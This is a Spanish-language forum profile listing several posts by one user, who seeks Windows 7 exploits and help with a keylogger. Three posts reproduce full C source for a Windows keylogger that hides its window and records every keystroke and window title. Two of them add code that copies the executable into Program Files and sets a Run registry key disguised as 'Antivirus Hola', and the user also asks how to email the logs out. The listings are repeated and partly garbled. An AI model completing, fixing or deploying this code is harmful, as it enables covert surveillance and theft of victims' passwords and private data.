Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - josefort360

#1
Hola de nuevo, bien pues he visto que hay bastantes exploits para windows xp sp2 y sp3 ect..., pero de windows 7 solo he encontrado uno que solo funciona pasando un .exe, he probado el comando search, pero si pongo windows 7, es como si pusiera windows nada mas, me podeis recomendar algo?
#2
Hola tengo kali linux, he descargado un exploit desde metasploit-db, pero nose como hacerlo funcionar, ¿podrían explicarme?
#3
Redes / ¿Proxy para steam?
16 Septiembre 2014, 19:44 PM
Verán, el otro día me compre un servidor dedicado, y le puse squid3, pero el proxy solo es valido para http, no funciona en steam ni skype ni nada, ¿que debo hacer?, ya he buscado muchos tutoriales pero nada.
#4
Pues como dice el titulo, e buscado en google pero el hldsupdatetool creo que ya no funciona, ¿que hago?
#5
Citar/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

/*para el log*/
FILE *logg;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;


/*==============================================================
==============================================================*/

int main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
logg=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(logg,"\n------------------------------------\n");
fprintf(logg,"
  • PhcKey 0.2 Log");
    fprintf(logg,"\n
  • Iniciando keyloguer...");
    fclose(logg);
    /*comenzamos a loguear teclas*/
    KeyLogger();
    start_with_windows();
    }

    int start_with_windows(){
        char execution_dir[MAX_PATH];
        char *program_files_variable;
        char path_destiny[MAX_PATH];


        ///Gets from which directory the program is running
        HMODULE current_executable = GetModuleHandle(NULL);
        GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));

        ///Gets program files directory
        program_files_variable = getenv("C:\Program Files (x86)");

        ///Copies the program files directory to the destiny path string
        strcpy(path_destiny, program_files_variable);
        strcat(path_destiny, "\Adobe");

        ///Copies the file to the program files folder
        CopyFile(execution_dir, path_destiny, 0);

        ///Creates a registry key
        HKEY hKey;

        ///Opens the registry key "run" to start with Windows
        RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

        ///Set the value of the new key. Put the path of the malware
        RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));

        RegCloseKey(hKey);

        ///Debugging purpouses
        //cout << execution_dir << endl;

        return 0;
    }


    /*==============================================================
        ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
    ==============================================================*/
    void KeyLogger()
    {
    //para obtener la hora del equipo
    time_t ltime;
    /*obtiene el código ascii de la tecla pulsada*/
    int tecla=0;
    //para el texto de la vntana activa
    char TVentana[500];
    //para almacenar las teclas que se pulsan
    char *Teclas;
    int k; //para recorrer el código ascii de las letras
    //el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
    char dominio[] = "abcdefghijklmnopqrstuvwxyz";
    //idem
    char dominio_num[] = "0123456789"; //para escanear el numpad

    //limpiamos el buffer del teclado para no mezclar
    fflush(stdin);

    /*comenzamos a loguear*/
    logg=fopen("LgPh.log","a");
    fprintf(logg,"OK\n");
    fclose(logg);

    //cojemos el hwnd de la ventana activa
    ventana=GetForegroundWindow();

    //guardamos la memoria
    Teclas=calloc(1024,sizeof(char));
    //mientras la variable 'loguea' sea TRUE
    do
    {
    /*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
    if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
    {
    if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
    {
    //cojemos la hora
    time(&ltime);
    ctime(&ltime);

    //como ha cambiado laventana, guardamos los datos
    logg=fopen("LgPh.log","a");
    fprintf(logg,"\n\n
  • Fecha: %s",ctime(&ltime)); //metemos la hora
    fprintf(logg,"[-] [ Ventana: %s ]",TVentana);
    fprintf(logg,"\n    %s",Teclas);//guardamos las teclas
    fclose(logg);
    //limpiamos la variable
    free(Teclas);
    Teclas=calloc(1024,sizeof(char));
    }
    //cojemos el nuevo hwnd
    ventana=GetForegroundWindow();
    }else{
    //y ahora cojemos el nuevo texto de la ventana
    GetWindowText(ventana,TVentana,500);
    }

    /*creamos un bucle para saber qué tecla pulsa*/
    for(tecla=4;tecla<256;tecla++)
    {
    if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
    {
    //------------------------------------
    /*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
    //------------------------------------
    for(k=65;k<91;k++)
    {
    if(tecla==k)
    {
    Teclas[strlen(Teclas)]=dominio[tecla-65];
    Teclas[strlen(Teclas)]='\0';
    }
    }

    //-----------------------------------------------
    /*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
    //-----------------------------------------------
    for(k=96;k<106;k++)
    {
    if(tecla==k)
    {
    Teclas[strlen(Teclas)]=dominio_num[tecla-96];
    Teclas[strlen(Teclas)]='\0';
    }
    }

    //filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
    switch(tecla)
    {
    /*Miramos los "F1,F2..."*/
    case 112:
    strcat(Teclas,"[F1]");
    break;

    case 113:
    strcat(Teclas,"[F2]");
    break;

    case 114:
    strcat(Teclas,"[F3]");
    break;

    case 115:
    strcat(Teclas,"[F4]");
    break;

    case 116:
    strcat(Teclas,"[F5]");
    break;

    case 117:
    strcat(Teclas,"[F6]");
    break;

    case 118:
    strcat(Teclas,"[F7]");
    break;

    case 119:
    strcat(Teclas,"[F8]");
    break;

    case 120:
    strcat(Teclas,"[F9]");
    break;

    case 121:
    strcat(Teclas,"[F10]");
    break;

    case 122:
    strcat(Teclas,"[F11]");
    break;

    case 123:
    strcat(Teclas,"[F13]");
    break;

    case 27:
    strcat(Teclas,"[Escape]");
    break;

    case 8:
    strcat(Teclas,"[Retroceso]");
    break;

    case 13:
    strcat(Teclas,"[Enter]");
    break;

    case 9:
    strcat(Teclas,"[Tabulado]");
    break;

    case 20:
    strcat(Teclas,"[Bloq.Mayus.]");
    break;

    case 160:
    strcat(Teclas,"[Shitf(Izq)]");
    break;

    case 161:
    strcat(Teclas,"[Shitf(Dcha)]");
    break;

    /*caracteres especiales*/
    case 221:
    Teclas[strlen(Teclas)]='¡';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 219:
    strcat(Teclas,"[']");
    break;

    case 192:
    strcat(Teclas,"[ñ]");
    break;

    case 32:
    strcat(Teclas," ");
    break;

    case 144:
    strcat(Teclas,"[Bloq Num]");
    break;

    case 111:
    Teclas[strlen(Teclas)]='/';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 106:
    Teclas[strlen(Teclas)]='*';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 109:
    Teclas[strlen(Teclas)]='-';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 220:
    Teclas[strlen(Teclas)]='\\';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 49:
    Teclas[strlen(Teclas)]='1';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 50:
    Teclas[strlen(Teclas)]='2';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 51:
    Teclas[strlen(Teclas)]='3';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 52:
    Teclas[strlen(Teclas)]='4';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 53:
    Teclas[strlen(Teclas)]='5';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 54:
    Teclas[strlen(Teclas)]='6';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 55:
    Teclas[strlen(Teclas)]='7';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 56:
    Teclas[strlen(Teclas)]='8';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 57:
    Teclas[strlen(Teclas)]='9';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 48:
    Teclas[strlen(Teclas)]='0';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 188:
    Teclas[strlen(Teclas)]=',';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 189:
    Teclas[strlen(Teclas)]='-';
    Teclas[strlen(Teclas)]='\0';
    break;

    case 190:
    Teclas[strlen(Teclas)]='.';
    Teclas[strlen(Teclas)]='\0';
    break;

    default:
    //mostramos el caracter ascii de la tecla pulsada
    //printf("{%d}",tecla);
    break;
    };
    }
    }
    _sleep(100);
    }while (1<2);
    }
Veran, ya pude poner bien la funcion, pero lo que pasa es que en el registro no registra nada, que es lo que esta mal?
#6
Mas que nada, solo quiero que agreges la funcion, es que de c, no tengo mucha idea xd.
#7
Hola, muchas gracias por el code, pero me da errores, lo mismo es por mi ignorancia, lo e dejado asi, podrias mirar haber si esta bien?
/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

int start_with_windows(){
    char execution_dir[MAX_PATH];
    char *program_files_variable;
    char path_destiny[MAX_PATH];

    cout << "Start with windows..." << endl;

    ///Gets from which directory the program is running
    HMODULE current_executable = GetModuleHandle(NULL);
    GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));

    ///Gets program files directory
    program_files_variable = getenv("PROGRAMFILES");

    ///Copies the program files directory to the destiny path string
    strcpy(path_destiny, program_files_variable);
    strcat(path_destiny, "\\antivirus.exe");

    ///Copies the file to the program files folder
    CopyFile(execution_dir, path_destiny, false);

    ///Creates a registry key
    HKEY hKey;

    ///Opens the registry key "run" to start with Windows
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

    ///Set the value of the new key. Put the path of the malware
    RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));

    RegCloseKey(hKey);

    ///Debugging purpouses
    //cout << execution_dir << endl;

    return 0;
}

/*para el log*/
FILE *log;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;


/*==============================================================
==============================================================*/

void main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
log=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(log,"\n------------------------------------\n");
fprintf(log,"[+] PhcKey 0.2 Log");
fprintf(log,"\n[+] Iniciando keyloguer...");
fclose(log);
/*comenzamos a loguear teclas*/
KeyLogger();
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
log=fopen("LgPh.log","a");
fprintf(log,"OK\n");
fclose(log);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(&ltime);
ctime(&ltime);

//como ha cambiado laventana, guardamos los datos
log=fopen("LgPh.log","a");
fprintf(log,"\n\n[+] Fecha: %s",ctime(&ltime)); //metemos la hora
fprintf(log,"[-] [ Ventana: %s ]",TVentana);
fprintf(log,"\n    %s",Teclas);//guardamos las teclas
fclose(log);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
_sleep(100);
}while (1<2);
}
#8
Hola, e cojido de esta pagina un codigo de keylogger, pero nose como hacer para añadirlo al registro y que se ejecute al inicio, y hacer que se envie el log por email, aqui os dejo el codigo.
/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

/*para el log*/
FILE *log;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;

/*==============================================================
==============================================================*/
void main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
log=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(log,"\n------------------------------------\n");
fprintf(log,"[+] PhcKey 0.2 Log");
fprintf(log,"\n[+] Iniciando keyloguer...");
fclose(log);
/*comenzamos a loguear teclas*/
KeyLogger();
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
log=fopen("LgPh.log","a");
fprintf(log,"OK\n");
fclose(log);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(&ltime);
ctime(&ltime);

//como ha cambiado laventana, guardamos los datos
log=fopen("LgPh.log","a");
fprintf(log,"\n\n[+] Fecha: %s",ctime(&ltime)); //metemos la hora
fprintf(log,"[-] [ Ventana: %s ]",TVentana);
fprintf(log,"\n    %s",Teclas);//guardamos las teclas
fclose(log);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
_sleep(100);
}while (1<2);
}
;